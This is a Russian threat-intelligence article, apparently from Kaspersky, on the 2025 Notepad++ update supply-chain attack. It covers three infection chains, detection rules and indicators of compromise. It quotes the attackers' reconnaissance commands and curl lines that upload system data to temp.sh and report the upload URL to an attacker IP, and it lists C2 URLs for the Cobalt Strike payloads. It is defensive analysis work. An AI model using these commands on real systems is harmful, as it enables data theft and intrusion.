Введение
2 февраля 2026 года разработчики популярного среди разработчиков текстового редактора Notepad++ опубликовали заявление, в котором утверждалось, что инфраструктура обновлений Notepad++ была скомпрометирована. Согласно заявлению, причиной компрометации стал инцидент на уровне хостинг-провайдера, длившийся с июня по сентябрь 2025 года. Однако злоумышленники смогли сохранить доступ к внутренним службам до декабря 2025 года.
Цепочки выполнения и вредоносные нагрузки
Во время изучения данных телеметрии, связанных с этим инцидентом, наше внимание привлекло большое количество уникальных цепочек выполнения, задействованных в атаках. Мы установили, что в течение четырех месяцев — с июля по октябрь 2025 года — злоумышленники, скомпрометировавшие Notepad++, постоянно меняли адреса C2-серверов для распространения вредоносных обновлений, загрузчики для доставки имплантов, а также конечные вредоносные нагрузки.
Мы обнаружили три различных цепочки заражения, предназначенных для атак более чем на десять компьютеров, принадлежащих:
- частным лицам во Вьетнаме, Сальвадоре и Австралии;
- правительственной организации, расположенной на Филиппинах;
- финансовой организации в Сальвадоре;
- вьетнамской организации-поставщику ИТ-услуг.
Несмотря на разнообразие обнаруженных нагрузок, решения «Лаборатории Касперского» смогли заблокировать атаки в момент их возникновения.
В этой статье мы описываем различные цепочки заражения, которые мы наблюдали в атаке на цепочку поставок Notepad++, а также предоставляем множество ранее не опубликованных индикаторов компрометации, связанных с этими инцидентами.
Цепочка 1: конец июля – начало августа 2025 года
Первый случай развертывания вредоносного обновления Notepad++ мы зафиксировали в конце июля 2025 года. Оно было размещено по адресу http://45.76.155[.]202/update/update.exe. Примечательно, что первое сканирование этого URL-адреса на платформе VirusTotal было выполнено в конце сентября пользователем из Тайваня.
Файл update.exe, загруженный с этого URL-адреса (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a), запускался легитимным процессом обновления Notepad++, GUP.exe. Этот файл оказался установщиком NSIS размером около 1 МБ. При запуске он отправлял злоумышленникам сигнал, содержащий системную информацию. Для этого update.exe выполнял следующие действия:
- Создавал каталог с именем
%appdata%\ProShowи устанавливал его в качестве текущего; - Выполнял команду
cmd /c whoami&&tasklist > 1.txt, создавая таким образом файл с результатами выполнения команды в каталоге%appdata%\ProShow; - Загружал файл
1.txtна хостинг-сервис temp[.]sh при помощи командыcurl.exe -F "file=@1.txt" -s https://temp.sh/upload; - Отправлял URL-адрес файла
1.txtс помощью командыcurl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202. Как можно заметить, URL-адрес загруженного файла передается в заголовке User-Agent.
Примечательно, что такое же поведение вредоносных обновлений Notepad++, а именно запуск команд оболочки и использование веб-сайта temp[.]sh для загрузки файлов, было описано на форумах сообщества Notepad++ пользователем с ником soft-parsley.

После отправки системной информации файл update.exe выполняет вредоносную нагрузку второго этапа. Для этого он:
- Размещает следующие файлы в каталоге
%appdata%\ProShow: ProShow.exe(SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)defscr(SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)if.dnt(SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)proshow.crs(SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)proshow.phd(SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)proshow_e.bmp(SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)load(SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)- Выполняет загруженный файл
ProShow.exe.
Файл ProShow.exe — это легитимное ПО ProShow, которое используется для запуска вредоносной нагрузки. Обычно, когда злоумышленники хотят запустить вредоносную нагрузку в легитимном процессе, они прибегают к технике DLL sideloading. Однако на этот раз они решили не использовать ее — вероятно, из-за того, что в настоящее время эта техника все чаще детектируется защитными решениями. Вместо этого атакующие воспользовались старой уязвимостью в программном обеспечении ProShow, которая известна с начала 2010-х годов. Файл load содержит эксплойт, который выполняется при запуске файла ProShow.exe. Стоит отметить, что, помимо этой нагрузки, все файлы в каталоге %appdata%\ProShow являются легитимными.
Анализ эксплойта показал, что он содержит два шелл-кода — один в самом начале, а другой в середине файла. Шелл-код в начале файла содержит набор бессмысленных инструкций и не предназначен для выполнения — скорее всего, злоумышленники использовали его в качестве заполнителя. Мы предполагаем, что, используя поддельный шелл-код вместо, например, последовательности символов 0x41 или случайных байтов, злоумышленники стремились усложнить обнаружение зловреда для исследователей и систем автоматического анализа.
Второй шелл-код, который находится в середине файла, выполняется при запуске ProShow.exe. Он расшифровывает вредоносную нагрузку: загрузчик Metasploit, который загружает Cobalt Strike Beacon с URL-адреса https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) и запускает его.
Нагрузка Cobalt Strike Beacon предназначена для связи с C2-сервером cdncheck.it[.]com. Например, она использует адрес https://45.77.31[.]210/api/update/v1 для GET-запроса и https://45.77.31[.]210/api/FileUpload/submit для POST-запроса.
Затем в начале августа 2025 года мы обнаружили, что злоумышленники использовали тот же URL-адрес для загрузки файлов update.exe (SHA1: 90e677d7ff5844407b9c073e3b7e896e078e11cd) и ту же цепочку выполнения для доставки Cobalt Strike Beacon через вредоносные обновления Notepad++. Однако мы отметили следующие различия:
- В загрузчике Metasploit отличался URL-адрес для загрузки Cobalt Strike Beacon: https://cdncheck.it[.]com/users/admin;
- Для C2-серверов Cobalt Strike использовались адреса https://cdncheck.it[.]com/api/update/v1 и https://cdncheck.it[.]com/api/Metadata/submit.
После этого мы больше не наблюдали заражений, использующих цепочку 1.
Цепочка 2: середина и конец сентября 2025 года
В середине сентября 2025 года, через полтора месяца после последнего обнаружения вредоносных обновлений мы заметили, что злоумышленники возобновили их развертывание, используя другую цепочку заражения. Вредоносное обновление по-прежнему загружалось с URL-адреса http://45.76.155[.]202/update/update.exe, а сам файл (SHA1: 573549869e84544e3ef253bdba79851dcde4963a) также был установщиком NSIS. Однако теперь его размер составлял около 140 КБ. Этот файл выполнял два действия:
- получал системную информацию, выполняя команду оболочки и загружая результаты ее выполнения на temp[.]sh;
- сохранял на диске вредоносную нагрузку следующего этапа и запускал ее.
Способ сбора системной информации также изменился: теперь более подробные данные собирались в директорию %APPDATA%\Adobe\Scripts при помощи команды cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
Файл a.txt, как и в первом случае, загружался на temp[.]sh с помощью curl. Полученный URL temp[.]sh передавался на тот же адрес http://45.76.155[.]202/list в заголовке User-Agent.
Нагрузка следующего этапа была полностью изменена. Установщик NSIS размещал следующие файлы в каталоге %APPDATA%\Adobe\Scripts:
alien.dll(SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);lua5.1.dll(SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);script.exe(SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);alien.ini(SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).
Затем он выполнял следующую команду оболочки для запуска script.exe: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini. Все файлы в каталоге %APPDATA%\Adobe\Scripts, за исключением alien.ini, являются легитимными и относятся к интерпретатору Lua. Таким образом, указанная команда используется злоумышленниками для запуска скомпилированного скрипта Lua, расположенного в файле alien.ini. Далее представлен скриншот его декомпиляции:

Как мы видим, этот небольшой скрипт используется для размещения шелл-кода в памяти и последующего запуска через функцию API EnumWindowStationsW.
Запущенный шелл-код, как и в случае с цепочкой 1, представляет собой загрузчик Metasploit, который загружает нагрузку Cobalt Strike Beacon с URL-адреса https://cdncheck.it[.]com/users/admin.
Шелл-код Cobalt Strike содержит адреса C2-серверов, которые немного отличаются от тех, что мы видели ранее: https://cdncheck.it[.]com/api/getInfo/v1 и https://cdncheck.it[.]com/api/FileUpload/submit.
Атаки с использованием цепочки 2 продолжались до конца сентября, когда мы обнаружили еще два вредоносных файла update.exe (SHA1 одного из них: 13179c8f19fbf3d8473c49983a199e6cb4f318f0). Нагрузка Cobalt Strike Beacon, доставленная с его помощью, использовала те же URL-адреса, что и в середине сентября, однако злоумышленники изменили способ сбора системной информации. В частности, они разделили одну команду (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt), на несколько:
cmd /c whoami >> a.txtcmd /c tasklist >> a.txtcmd /c systeminfo >> a.txtcmd /c netstat -ano >> a.txt
Примечательно, что та же последовательность команд была ранее описана пользователем soft-parsley на форумах сообщества Notepad++.
Используя другой файл update.exe (SHA1: 4c9aac447bf732acc97992290aa7a187b967ee2c), злоумышленники выполнили следующие действия:
- Изменили URL-адрес для загрузки системной информации на https://self-dns.it[.]com/list;
- Изменили строку User-Agent в HTTP-запросах на Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
- Изменили URL-адрес, используемый загрузчиком Metasploit, на https://safe-dns.it[.]com/help/Get-Start;
- Изменили адреса C2-серверов Cobalt Strike Beacon на https://safe-dns.it[.]com/resolve и https://safe-dns.it[.]com/dns-query.
Цепочка 3: октябрь 2025 года
В начале октября 2025 года злоумышленники вновь изменили цепочку заражения. Теперь они использовали новый адрес C2-сервера для распространения вредоносных обновлений — http://45.32.144[.]255/update/update.exe. Загружаемая нагрузка (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) по-прежнему представляла собой установщик NSIS, однако, в отличие от цепочек 1 и 2, он не отправлял системную информацию, а помещал следующие файлы в каталог %appdata%\Bluetooth\:
BluetoothService.exe, легитимный исполняемый файл (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);log.dll, вредоносная DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);BluetoothService, зашифрованный шелл-код (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
В этой цепочке выполнения применяется техника DLL sideloading при помощи библиотеки log.dll, которая отвечает за запуск зашифрованного шелл-кода BluetoothService в процессе BluetoothService.exe. Примечательно, что такие цепочки выполнения обычно используются китаеязычными злоумышленниками. Эта конкретная цепочка выполнения уже была описана Rapid7. Ее конечной вредоносной нагрузкой является кастомизированный бэкдор Chrysalis.
В отличие от предыдущих цепочек, цепочка 3 не загружает Cobalt Strike Beacon напрямую. Однако исследователи Rapid7 утверждают, что они также наблюдали развертывание нагрузки Cobalt Strike Beacon в папке C:\ProgramData\USOShared во время реагирования на инцидент на одном из компьютеров, зараженных при атаке на цепочку поставок Notepad++. Хотя в статье Rapid7 не описано подробно, как этот файл был запущен на устройстве жертвы, мы выделили следующие сходства между этой нагрузкой и нагрузками Beacon из цепочек 1 и 2:
- В обоих случаях Beacon загружается через шелл-код загрузчика Metasploit с использованием схожих URL-адресов (api.wiresguard.com/users/admin для нагрузки в исследовании Rapid7, cdncheck.it.com/users/admin и http://45.77.31[.]210/users/admin для нагрузок цепочек 1 и 2);
- Конфигурации Beacon зашифрованы с помощью ключа XOR
CRAZY; - Для связи с Cobalt Strike Beacon используются схожие адреса C2-серверов (api.wiresguard.com/api/FileUpload/submit для нагрузки в исследовании Rapid7 и https://45.77.31[.]210/api/FileUpload/submit для нагрузки цепочки 1).
Возвращение цепочки 2 и новые URL-адреса: октябрь 2025 года
В середине октября 2025 года мы зафиксировали, что злоумышленники возобновили развертывание вредоносной нагрузки цепочки 2 (SHA1: 821c0cafb2aab0f063ef7e313f64313fc81d46cd). Они использовали новый URL-адрес: http://95.179.213[.]0/update/update.exe. Тем не менее, эта нагрузка по-прежнему обращалась к ранее упомянутым self-dns.it[.]com и safe-dns.it[.]com для загрузки системной информации, загрузчика Metasploit и связи с Cobalt Strike Beacon. Далее, в конце октября 2025 года, мы заметили, что злоумышленники начали менять URL-адреса для доставки вредоносных обновлений. В частности, мы обнаружили следующие адреса:
- http://95.179.213[.]0/update/install.exe;
- http://95.179.213[.]0/update/update.exe;
- http://95.179.213[.]0/update/AutoUpdater.exe.
Мы не наблюдали появления новых нагрузок, развернутых с этих адресов — все они были связаны с цепочками 2 и 3. Наконец, с ноября 2025 года мы не видели новых развертываний.
Заключение
Notepad++ — это текстовый редактор, используемый многими разработчиками. Контроль над серверами обновлений этого ПО давал злоумышленникам возможность проникнуть в компьютеры крупных организаций по всему миру. Атакующие приложили усилия, чтобы не потерять доступ к этому вектору заражения — они целенаправленно распространяли вредоносные импланты и были достаточно квалифицированы, чтобы примерно раз в месяц полностью менять цепочки заражения. В ходе нашего расследования мы выявили три различных цепочки заражения, однако существует вероятность, что в этой кампании используются и другие, до сих пор не выявленные. Подводя итоги, приводим общую хронологию выявленных нами цепочек заражения:

Разнообразие цепочек заражения делает обнаружение атаки на цепочку поставок Notepad++ довольно сложной, но в то же время творческой задачей. Для поиска следов этой атаки мы рекомендуем следующие методы, от общих к конкретным:
- Проверьте системы на наличие установщиков NSIS, которые использовались во всех трех наблюдаемых цепочках выполнения. Например, просмотрите журналы, связанные с созданием каталога
%localappdata%\Temp\ns.tmpустановщиками NSIS во время выполнения. Обязательно проверьте происхождение каждого обнаруженного установщика NSIS, чтобы избежать ложных срабатываний; - Проверьте журналы сетевого трафика на наличие DNS-разрешений домена temp[.]sh: это нестандартная активность для корпоративных сред. Кроме того, полезно проверить HTTP-запросы, в которых адрес temp[.]sh указан в User-Agent — оба этих действия позволят обнаружить развертывания цепочек 1 и 2.
- Проверьте системы на наличие запуска вредоносных команд оболочки, упомянутых в статье, таких как
whoami,tasklist,systeminfoиnetstat -ano. - Используйте перечисленные ниже индикаторы компрометации для обнаружения известных вредоносных доменов и файлов.
Детектирование решениями «Лаборатории Касперского»
Защитные решения «Лаборатории Касперского», такие как Kaspersky NGFW и Kaspersky Endpoint Detection and Response Expert, успешно обнаруживают вредоносную активность в рамках описанных атак.
Рассмотрим подробнее на примере Kaspersky Endpoint Detection and Response Expert (далее — KEDR Expert).

Один из способов детектирования этой вредоносной активности — мониторинг обращений к сервисам класса LOLC2 (Living-Off-the-Land C2), к которым относится и temp[.]sh. Такие сервисы злоумышленники используют как промежуточные точки управления или доставки вредоносной нагрузки, маскируя C2-коммуникацию под легитимный веб-трафик. Решение KEDR Expert детектирует эту активность с помощью правила lolc2_connection_activity_network.

Кроме того, детектировать описанную активность можно по выполнению типовых команд локальной разведки, которые злоумышленники запускают на ранних этапах атаки после получения доступа к системе. Эти команды позволяют атакующему быстро получить информацию о среде, правах доступа, запущенных процессах и сетевых соединениях для планирования дальнейших действий. Продукт KEDR Expert детектирует такую активность с помощью следующих правил: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

В данном случае ярким признаком вредоносной активности является закрепление злоумышленника в системе посредством механизма автозапуска через реестр Windows, в частности ключ Run, обеспечивающий автоматический запуск программ при входе пользователя в систему. Продукт KEDR Expert детектирует эту активность с помощью правила temporary_folder_in_registry_autorun.
Индикаторы компрометации
URL-адреса для вредоносных развертываний обновлений Notepad++
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe
URL-адреса для загрузки системной информации
http://45.76.155[.]202/list
https://self-dns.it[.]com/list
URL-адреса для развертывания Cobalt Strike Beacon загрузчиками Metasploit
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start
URL-адреса Cobalt Strike Beacon, загруженных вредоносными обновлениями Notepad++
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query
URL-адреса бэкдора Chrysalis и связанных с ним нагрузок Cobalt Strike Beacon из исследования Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit
URL-адреса Cobalt Strike Beacon, загруженные на платформу-мультисканер, из исследования Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1
Хэши вредоносного файла updater.exe
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd
Хэши вредоносных вспомогательных файлов
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini
Хэши вредоносных файлов из исследования Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce
Пути к вредоносным файлам
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService



Атака на Notepad++ — новые цепочки заражения и IoC